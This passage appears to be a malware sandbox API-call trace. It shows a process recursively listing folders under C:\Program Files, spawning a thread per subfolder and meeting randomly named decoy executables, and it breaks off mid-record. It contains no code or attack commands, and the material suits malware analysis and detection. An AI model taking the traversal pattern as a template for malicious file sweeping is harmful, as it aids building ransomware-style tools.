[0045.642] wcscmp (_String1="System", _String2=".") returned 1 [0045.643] wcscmp (_String1="System", _String2="..") returned 1 [0045.643] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413ee8 [0045.643] wcscpy (in: _Dest=0x413ee8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0045.643] wcscat (in: _Dest=0x413ee8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0045.643] wcscat (in: _Dest=0x413ee8, _Source="System" | out: _Dest="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System" [0045.643] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413ee8) returned 1 [0045.643] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0045.643] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.643] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.643] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4026d8) returned 1 [0045.643] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402408) returned 1 Thread: id = 68 os_tid = 0xb10 [0045.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x41aa18 [0045.644] wcscpy (in: _Dest=0x41aa18, _Source="C:\\Program Files\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0045.644] wcscat (in: _Dest=0x41aa18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\") returned="C:\\Program Files\\Microsoft Analysis Services\\" [0045.644] wcscat (in: _Dest=0x41aa18, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\*" [0045.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.644] wcscmp (_String1=".", _String2=".") returned 0 [0045.644] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.644] wcscmp (_String1="..", _String2=".") returned 1 [0045.644] wcscmp (_String1="..", _String2="..") returned 0 [0045.644] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f26b050, ftCreationTime.dwHighDateTime=0x1d54f6a, ftLastAccessTime.dwLowDateTime=0x30bd00a0, ftLastAccessTime.dwHighDateTime=0x1d55892, ftLastWriteTime.dwLowDateTime=0x30bd00a0, ftLastWriteTime.dwHighDateTime=0x1d55892, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="amanda-appointments-cincinnati.exe", cAlternateFileName="AMANDA~1.EXE")) returned 1 [0045.644] wcscmp (_String1="amanda-appointments-cincinnati.exe", _String2=".") returned 1 [0045.644] wcscmp (_String1="amanda-appointments-cincinnati.exe", _String2="..") returned 1 [0045.644] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0045.644] wcscmp (_String1="AS OLEDB", _String2=".") returned 1 [0045.644] wcscmp (_String1="AS OLEDB", _String2="..") returned 1 [0045.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418848 [0045.644] wcscpy (in: _Dest=0x418848, _Source="C:\\Program Files\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0045.644] wcscat (in: _Dest=0x418848, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\") returned="C:\\Program Files\\Microsoft Analysis Services\\" [0045.644] wcscat (in: _Dest=0x418848, _Source="AS OLEDB" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" [0045.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0045.645] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0045.646] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.646] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.646] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41aa18) returned 1 [0045.646] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442858) returned 1 Thread: id = 69 os_tid = 0xb14 [0045.646] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444c30 [0045.646] wcscpy (in: _Dest=0x444c30, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0045.646] wcscat (in: _Dest=0x444c30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0045.646] wcscat (in: _Dest=0x444c30, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\*") returned="C:\\Program Files\\Microsoft Office\\*" [0045.646] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.647] wcscmp (_String1=".", _String2=".") returned 0 [0045.647] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.647] wcscmp (_String1="..", _String2=".") returned 1 [0045.647] wcscmp (_String1="..", _String2="..") returned 0 [0045.647] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0045.647] wcscmp (_String1="CLIPART", _String2=".") returned 1 [0045.647] wcscmp (_String1="CLIPART", _String2="..") returned 1 [0045.647] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x442858 [0045.647] wcscpy (in: _Dest=0x442858, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0045.647] wcscat (in: _Dest=0x442858, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0045.647] wcscat (in: _Dest=0x442858, _Source="CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0045.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x442858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4 [0045.648] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0045.648] wcscmp (_String1="Document Themes 14", _String2=".") returned 1 [0045.648] wcscmp (_String1="Document Themes 14", _String2="..") returned 1 [0045.648] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4188c0 [0045.648] wcscpy (in: _Dest=0x4188c0, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0045.648] wcscat (in: _Dest=0x4188c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0045.648] wcscat (in: _Dest=0x4188c0, _Source="Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0045.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4188c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0 [0045.650] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0045.650] wcscmp (_String1="MEDIA", _String2=".") returned 1 [0045.650] wcscmp (_String1="MEDIA", _String2="..") returned 1 [0045.650] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x413ee8 [0045.650] wcscpy (in: _Dest=0x413ee8, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0045.650] wcscat (in: _Dest=0x413ee8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0045.650] wcscat (in: _Dest=0x413ee8, _Source="MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0045.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4 [0045.651] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0045.651] wcscmp (_String1="Office14", _String2=".") returned 1 [0045.651] wcscmp (_String1="Office14", _String2="..") returned 1 [0045.651] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x41aa18 [0045.651] wcscpy (in: _Dest=0x41aa18, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0045.651] wcscat (in: _Dest=0x41aa18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0045.651] wcscat (in: _Dest=0x41aa18, _Source="Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0045.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x41aa18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c [0045.652] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cffa80, ftCreationTime.dwHighDateTime=0x1d53cfe, ftLastAccessTime.dwLowDateTime=0x5b34dab0, ftLastAccessTime.dwHighDateTime=0x1d57494, ftLastWriteTime.dwLowDateTime=0x5b34dab0, ftLastWriteTime.dwHighDateTime=0x1d57494, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="omega-daughters-communicate.exe", cAlternateFileName="OMEGA-~1.EXE")) returned 1 [0045.652] wcscmp (_String1="omega-daughters-communicate.exe", _String2=".") returned 1 [0045.652] wcscmp (_String1="omega-daughters-communicate.exe", _String2="..") returned 1 [0045.652] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0045.652] wcscmp (_String1="Stationery", _String2=".") returned 1 [0045.653] wcscmp (_String1="Stationery", _String2="..") returned 1 [0045.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x41aa78 [0045.653] wcscpy (in: _Dest=0x41aa78, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0045.653] wcscat (in: _Dest=0x41aa78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0045.653] wcscat (in: _Dest=0x41aa78, _Source="Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0045.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x41aa78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0045.654] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0045.654] wcscmp (_String1="Templates", _String2=".") returned 1 [0045.654] wcscmp (_String1="Templates", _String2="..") returned 1 [0045.654] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x4463c0 [0045.654] wcscpy (in: _Dest=0x4463c0, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0045.654] wcscat (in: _Dest=0x4463c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0045.654] wcscat (in: _Dest=0x4463c0, _Source="Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0045.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4463c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0045.655] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0045.655] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.655] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.655] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444c30) returned 1 [0045.655] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444af0) returned 1 Thread: id = 70 os_tid = 0xb18 [0045.656] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418938 [0045.656] wcscpy (in: _Dest=0x418938, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0045.656] wcscat (in: _Dest=0x418938, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\" [0045.656] wcscat (in: _Dest=0x418938, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*" [0045.656] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.660] wcscmp (_String1=".", _String2=".") returned 0 [0045.660] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.660] wcscmp (_String1="..", _String2=".") returned 1 [0045.660] wcscmp (_String1="..", _String2="..") returned 0 [0045.660] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc06770, ftCreationTime.dwHighDateTime=0x1d551f7, ftLastAccessTime.dwLowDateTime=0xd68a21d0, ftLastAccessTime.dwHighDateTime=0x1d53bf9, ftLastWriteTime.dwLowDateTime=0xd68a21d0, ftLastWriteTime.dwHighDateTime=0x1d53bf9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sponsor_romance.exe", cAlternateFileName="SPONSO~1.EXE")) returned 1 [0045.660] wcscmp (_String1="sponsor_romance.exe", _String2=".") returned 1 [0045.660] wcscmp (_String1="sponsor_romance.exe", _String2="..") returned 1 [0045.660] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0045.660] wcscmp (_String1="v3.5", _String2=".") returned 1 [0045.660] wcscmp (_String1="v3.5", _String2="..") returned 1 [0045.660] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x3ffc98 [0045.660] wcscpy (in: _Dest=0x3ffc98, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0045.660] wcscat (in: _Dest=0x3ffc98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\" [0045.660] wcscat (in: _Dest=0x3ffc98, _Source="v3.5" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" [0045.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x3ffc98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0045.661] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0045.661] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.661] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.661] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418938) returned 1 [0045.661] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 Thread: id = 71 os_tid = 0xb1c [0045.662] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x446420 [0045.662] wcscpy (in: _Dest=0x446420, _Source="C:\\Program Files\\Microsoft Sync Framework" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0045.662] wcscat (in: _Dest=0x446420, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\") returned="C:\\Program Files\\Microsoft Sync Framework\\" [0045.662] wcscat (in: _Dest=0x446420, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\*" [0045.662] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.662] wcscmp (_String1=".", _String2=".") returned 0 [0045.662] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.662] wcscmp (_String1="..", _String2=".") returned 1 [0045.662] wcscmp (_String1="..", _String2="..") returned 0 [0045.662] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639f1560, ftCreationTime.dwHighDateTime=0x1d54c37, 